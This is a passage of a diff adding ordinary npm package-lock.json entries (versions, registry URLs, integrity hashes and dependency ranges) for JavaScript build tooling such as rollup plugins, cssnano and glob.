">=8.0.0" + }, + "peerDependencies": { + "rollup": "^2.14.0", + "tslib": "*", + "typescript": ">=3.7.0" + }, + "peerDependenciesMeta": { + "tslib": { + "optional": true + } + } + }, + "node_modules/@rollup/pluginutils": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/@rollup/pluginutils/-/pluginutils-3.1.0.tgz", + "integrity": "sha512-GksZ6pr6TpIjHm8h9lSQ8pi8BE9VeubNT0OMJ3B5uZJ8pz73NPiqOtCog/x2/QzM1ENChPKxMDhiQuRHsqc+lg==", + "dev": true, + "dependencies": { + "@types/estree": "0.0.39", + "estree-walker": "^1.0.1", + "picomatch": "^2.2.2" + }, + "engines": { + "node": ">= 8.0.0" + }, + "peerDependencies": { + "rollup": "^1.20.0||^2.0.0" + } + }, + "node_modules/@rollup/pluginutils/node_modules/estree-walker": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-1.0.1.tgz", + "integrity": "sha512-1fMXF3YP4pZZVozF8j/ZLfvnR8NSIljt56UhbZ5PeeDmmGHpgpdwQt7ITlGvYaQukCvuBRMLEiKiYC+oeIg4cg==", + "dev": true + }, + "node_modules/@trysound/sax": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/@trysound/sax/-/sax-0.2.0.tgz", + "integrity": "sha512-L7z9BgrNEcYyUYtF+HaEfiS5ebkh9jXqbszz7pC0hRBPaatV0XjSD3+eHrpqFemQfgwiFF0QPIarnIihIDn7OA==", + "dev": true, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/@types/estree": { + "version": "0.0.39", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-0.0.39.tgz", + "integrity": "sha512-EYNwp3bU+98cpU4lAWYYL7Zz+2gryWH1qbdDTidVd6hkiR6weksdbMadyXKXNPEkQFhXM+hVO9ZygomHXp+AIw==", + "dev": true + }, + "node_modules/@types/node": { + "version": "18.0.0", + "resolved": "https://registry.npmjs.org/@types/node/-/node-18.0.0.tgz", + "integrity": "sha512-cHlGmko4gWLVI27cGJntjs/Sj8th9aYwplmZFwmmgYQQvL5NUsgVJG7OddLvNfLqYS31KFN0s3qlaD9qCaxACA==", + "dev": true + }, + "node_modules/@types/resolve": { + "version": "1.17.1", + "resolved": "https://registry.npmjs.org/@types/resolve/-/resolve-1.17.1.tgz", + "integrity": "sha512-yy7HuzQhj0dhGpD8RLXSZWEkLsV9ibvxvi6EiJ3bkqLAO1RGo0WbkWQiwpRlSFymTJRz0d3k5LM3kkx8ArDbLw==", + "dev": true, + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/acorn": { + "version": "8.7.1", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.7.1.tgz", + "integrity": "sha512-Xx54uLJQZ19lKygFXOWsscKUbsBZW0CPykPhVQdhIeIwrbPmJzqeASDInc8nKBnp/JT6igTs82qPXz069H8I/A==", + "dev": true, + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/anymatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.2.tgz", + "integrity": "sha512-P43ePfOAIupkguHUycrc4qJ9kz8ZiuOUijaETwX7THt0Y/GNK7v0aa8rY816xWjZ7rJdA5XdMcpVFTKMq+RvWg==", + "dev": true, + "dependencies": { + "normalize-path": "^3.0.0", + "picomatch": "^2.0.4" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/array-union": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/array-union/-/array-union-3.0.1.tgz", + "integrity": "sha512-1OvF9IbWwaeiM9VhzYXVQacMibxpXOMYVNIvMtKRyX9SImBXpKcFr8XvFDeEslCyuH/t6KRt7HEO94AlP8Iatw==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true + }, + "node_modules/binary-extensions": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", + "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/boolbase": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz", + "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==", + "dev": true + }, + "node_modules/brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "dev": true, + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "dependencies": { + "fill-range": "^7.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/browserslist": { + "version": "4.21.1", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.21.1.tgz", + "integrity": "sha512-Nq8MFCSrnJXSc88yliwlzQe3qNe3VntIjhsArW9IJOEPSHNx23FalwApUVbzAWABLhYJJ7y8AynWI/XM8OdfjQ==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + } + ], + "dependencies": { + "caniuse-lite": "^1.0.30001359", + "electron-to-chromium": "^1.4.172", + "node-releases": "^2.0.5", + "update-browserslist-db": "^1.0.4" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + } + }, + "node_modules/buffer-from": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", + "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==", + "dev": true + }, + "node_modules/builtin-modules": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/builtin-modules/-/builtin-modules-3.3.0.tgz", + "integrity": "sha512-zhaCDicdLuWN5UbN5IMnFqNMhNfo919sH85y2/ea+5Yg9TsTkeZxpL+JLbp6cgYFS4sRLp3YV4S6yDuqVWHYOw==", + "dev": true, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/caniuse-api": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/caniuse-api/-/caniuse-api-3.0.0.tgz", + "integrity": "sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw==", + "dev": true, + "dependencies": { + "browserslist": "^4.0.0", + "caniuse-lite": "^1.0.0", + "lodash.memoize": "^4.1.2", + "lodash.uniq": "^4.5.0" + } + }, + "node_modules/caniuse-lite": { + "version": "1.0.30001361", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001361.tgz", + "integrity": "sha512-ybhCrjNtkFji1/Wto6SSJKkWk6kZgVQsDq5QI83SafsF6FXv2JB4df9eEdH6g8sdGgqTXrFLjAxqBGgYoU3azQ==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/caniuse-lite" + } + ] + }, + "node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/chokidar": { + "version": "3.5.3", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz", + "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", + "dev": true, + "funding": [ + { + "type": "individual", + "url": "https://paulmillr.com/funding/" + } + ], + "dependencies": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, + "engines": { + "node": ">= 8.10.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/cliui": { + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz", + "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==", + "dev": true, + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.0", + "wrap-ansi": "^7.0.0" + } + }, + "node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dev": true, + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==", + "dev": true + }, + "node_modules/colord": { + "version": "2.9.2", + "resolved": "https://registry.npmjs.org/colord/-/colord-2.9.2.tgz", + "integrity": "sha512-Uqbg+J445nc1TKn4FoDPS6ZZqAvEDnwrH42yo8B40JSOgSLxMZ/gt3h4nmCtPLQeXhjJJkqBx7SCY35WnIixaQ==", + "dev": true + }, + "node_modules/commander": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", + "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", + "dev": true, + "engines": { + "node": ">= 10" + } + }, + "node_modules/commondir": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz", + "integrity": "sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg==", + "dev": true + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "dev": true + }, + "node_modules/css-declaration-sorter": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/css-declaration-sorter/-/css-declaration-sorter-6.3.0.tgz", + "integrity": "sha512-OGT677UGHJTAVMRhPO+HJ4oKln3wkBTwtDFH0ojbqm+MJm6xuDMHp2nkhh/ThaBqq20IbraBQSWKfSLNHQO9Og==", + "dev": true, + "engines": { + "node": "^10 || ^12 || >=14" + }, + "peerDependencies": { + "postcss": "^8.0.9" + } + }, + "node_modules/css-select": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/css-select/-/css-select-4.3.0.tgz", + "integrity": "sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ==", + "dev": true, + "dependencies": { + "boolbase": "^1.0.0", + "css-what": "^6.0.1", + "domhandler": "^4.3.1", + "domutils": "^2.8.0", + "nth-check": "^2.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/css-tree": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-1.1.3.tgz", + "integrity": "sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==", + "dev": true, + "dependencies": { + "mdn-data": "2.0.14", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/css-what": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/css-what/-/css-what-6.1.0.tgz", + "integrity": "sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==", + "dev": true, + "engines": { + "node": ">= 6" + }, + "funding": { + "url": "https://github.com/sponsors/fb55" + } + }, + "node_modules/cssesc": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", + "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", + "dev": true, + "bin": { + "cssesc": "bin/cssesc" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/cssnano": { + "version": "5.1.12", + "resolved": "https://registry.npmjs.org/cssnano/-/cssnano-5.1.12.tgz", + "integrity": "sha512-TgvArbEZu0lk/dvg2ja+B7kYoD7BBCmn3+k58xD0qjrGHsFzXY/wKTo9M5egcUCabPol05e/PVoIu79s2JN4WQ==", + "dev": true, + "dependencies": { + "cssnano-preset-default": "^5.2.12", + "lilconfig": "^2.0.3", + "yaml": "^1.10.2" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/cssnano" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/cssnano-preset-default": { + "version": "5.2.12", + "resolved": "https://registry.npmjs.org/cssnano-preset-default/-/cssnano-preset-default-5.2.12.tgz", + "integrity": "sha512-OyCBTZi+PXgylz9HAA5kHyoYhfGcYdwFmyaJzWnzxuGRtnMw/kR6ilW9XzlzlRAtB6PLT/r+prYgkef7hngFew==", + "dev": true, + "dependencies": { + "css-declaration-sorter": "^6.3.0", + "cssnano-utils": "^3.1.0", + "postcss-calc": "^8.2.3", + "postcss-colormin": "^5.3.0", + "postcss-convert-values": "^5.1.2", + "postcss-discard-comments": "^5.1.2", + "postcss-discard-duplicates": "^5.1.0", + "postcss-discard-empty": "^5.1.1", + "postcss-discard-overridden": "^5.1.0", + "postcss-merge-longhand": "^5.1.6", + "postcss-merge-rules": "^5.1.2", + "postcss-minify-font-values": "^5.1.0", + "postcss-minify-gradients": "^5.1.1", + "postcss-minify-params": "^5.1.3", + "postcss-minify-selectors": "^5.2.1", + "postcss-normalize-charset": "^5.1.0", + "postcss-normalize-display-values": "^5.1.0", + "postcss-normalize-positions": "^5.1.1", + "postcss-normalize-repeat-style": "^5.1.1", + "postcss-normalize-string": "^5.1.0", + "postcss-normalize-timing-functions": "^5.1.0", + "postcss-normalize-unicode": "^5.1.0", + "postcss-normalize-url": "^5.1.0", + "postcss-normalize-whitespace": "^5.1.1", + "postcss-ordered-values": "^5.1.3", + "postcss-reduce-initial": "^5.1.0", + "postcss-reduce-transforms": "^5.1.0", + "postcss-svgo": "^5.1.0", + "postcss-unique-selectors": "^5.1.1" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/cssnano-utils": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/cssnano-utils/-/cssnano-utils-3.1.0.tgz", + "integrity": "sha512-JQNR19/YZhz4psLX/rQ9M83e3z2Wf/HdJbryzte4a3NSuafyp9w/I4U+hx5C2S9g41qlstH7DEWnZaaj83OuEA==", + "dev": true, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/csso": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/csso/-/csso-4.2.0.tgz", + "integrity": "sha512-wvlcdIbf6pwKEk7vHj8/Bkc0B4ylXZruLvOgs9doS5eOsOpuodOV2zJChSpkp+pRpYQLQMeF04nr3Z68Sta9jA==", + "dev": true, + "dependencies": { + "css-tree": "^1.1.2" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/deepmerge": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.2.2.tgz", + "integrity": "sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/dependency-graph": { + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/dependency-graph/-/dependency-graph-0.11.0.tgz", + "integrity": "sha512-JeMq7fEshyepOWDfcfHK06N3MhyPhz++vtqWhMT5O9A3K42rdsEDpfdVqjaqaAhsw6a+ZqeDvQVtD0hFHQWrzg==", + "dev": true, + "engines": { + "node": ">= 0.6.0" + } + }, + "node_modules/dir-glob": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz", + "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", + "dev": true, + "dependencies": { + "path-type": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/dom-serializer": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.4.1.tgz", + "integrity": "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==", + "dev": true, + "dependencies": { + "domelementtype": "^2.0.1", + "domhandler": "^4.2.0", + "entities": "^2.0.0" + }, + "funding": { + "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1" + } + }, + "node_modules/domelementtype": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz", + "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ] + }, + "node_modules/domhandler": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.3.1.tgz", + "integrity": "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==", + "dev": true, + "dependencies": { + "domelementtype": "^2.2.0" + }, + "engines": { + "node": ">= 4" + }, + "funding": { + "url": "https://github.com/fb55/domhandler?sponsor=1" + } + }, + "node_modules/domutils": { + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz", + "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==", + "dev": true, + "dependencies": { + "dom-serializer": "^1.0.1", + "domelementtype": "^2.2.0", + "domhandler": "^4.2.0" + }, + "funding": { + "url": "https://github.com/fb55/domutils?sponsor=1" + } + }, + "node_modules/electron-to-chromium": { + "version": "1.4.173", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.4.173.tgz", + "integrity": "sha512-Qo3LnVW6JRNhD32viSdPebxKI7K+3WeBDjU1+Q2yZS83zAh8C2LyPpzTimlciv6U74KpY9n/0ESAhUByRke0jw==", + "dev": true + }, + "node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true + }, + "node_modules/entities": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz", + "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==", + "dev": true, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/escalade": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", + "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "dev": true, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/estree-walker": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-2.0.2.tgz", + "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==", + "dev": true + }, + "node_modules/fast-glob": { + "version": "3.2.11", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.2.11.tgz", + "integrity": "sha512-xrO3+1bxSo3ZVHAnqzyuewYT6aMFHRAd4Kcs92MAonjwQZLsK9d0SF1IyQ3k5PoirxTW0Oe/RqFgMQ6TcNE5Ew==", + "dev": true, + "dependencies": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.4" + }, + "engines": { + "node": ">=8.6.0" + } + }, + "node_modules/fastq": { + "version": "1.13.0", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.13.0.tgz", + "integrity": "sha512-YpkpUnK8od0o1hmeSc7UUs/eB/vIPWJYjKck2QKIzAf71Vm1AAQ3EbuZB3g2JIy+pg+ERD0vqI79KyZiB2e2Nw==", + "dev": true, + "dependencies": { + "reusify": "^1.0.4" + } + }, + "node_modules/fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/fs-extra": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz", + "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==", + "dev": true, + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", + "dev": true + }, + "node_modules/fsevents": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", + "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "dev": true, + "hasInstallScript": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", + "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==", + "dev": true + }, + "node_modules/get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "dev": true, + "engines": { + "node": "6.* || 8.* || >= 10.*" + } + }, + "node_modules/get-stdin": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-9.0.0.tgz", + "integrity": "sha512-dVKBjfWisLAicarI2Sf+JuBE/DghV4UzNAVe9yhEJuzeREd3JhOTE9cUaJTeSa77fsbQUK3pcOpJfM59+VKZaA==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/globby": { + "version": "12.2.0", + "resolved": "https://registry.npmjs.org/globby/-/globby-12.2.0.tgz", + "integrity": "sha512-wiSuFQLZ+urS9x2gGPl1H5drc5twabmm4m2gTR27XDFyjUHJUNsS8o/2aKyIF6IoBaR630atdher0XJ5g6OMmA==", + "dev": true, + "dependencies": { + "array-union": "^3.0.1", + "dir-glob": "^3.0.1", + "fast-glob": "^3.2.7", + "ignore": "^5.1.9", + "merge2": "^1.4.1", + "slash": "^4.0.0" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.10", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.10.tgz", + "integrity": 